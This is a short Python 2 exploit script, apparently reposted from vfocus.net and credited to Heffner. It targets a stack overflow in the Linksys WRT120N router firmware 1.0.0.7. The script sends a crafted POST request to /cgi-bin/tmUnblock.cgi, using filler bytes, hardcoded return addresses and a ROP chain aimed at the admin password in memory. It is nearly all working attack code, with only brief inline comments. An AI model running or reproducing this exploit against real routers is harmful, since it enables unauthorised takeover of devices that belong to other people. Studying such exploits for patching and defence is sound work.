WRT120N 1.0.0.7 Stack Overflow Exploit

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WRT120N 1.0.0.7 Stack Overflow Exploit

来源：vfocus.net 作者：Heffner 发布时间：2014-02-21

import sys

import urllib2

try:

target = sys.argv[1]

except IndexError:

print "Usage: %s <target ip>" % sys.argv[0]

sys.exit(1)

url = target + '/cgi-bin/tmUnblock.cgi'

if '://' not in url:

url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="

post_data += "B" * 246 # Filler

post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory

post_data += "\x80\x31\xF6\x34" # $ra

post_data += "C" * 0x28 # Stack filler

post_data += "D" * 4 # ROP 1 $s0, don't care

post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2)

post_data += "E" * 8 # Stack filler

for i in range(0, 4):

post_data += "F" * 4 # ROP 2 $s0, don't care

post_data += "G" * 4 # ROP 2 $s1, don't care

post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself)

post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the

# last stack frame where it needs to be 1 byte (to

# account for the trailing "\n\n" and terminating

# NULL byte)

try:

req = urllib2.Request(url, post_data)

res = urllib2.urlopen(req)

except urllib2.HTTPError as e:

if e.code == 500:

print "OK"

else:

print "Received unexpected server response:", str(e)

except KeyboardInterrupt:

pass

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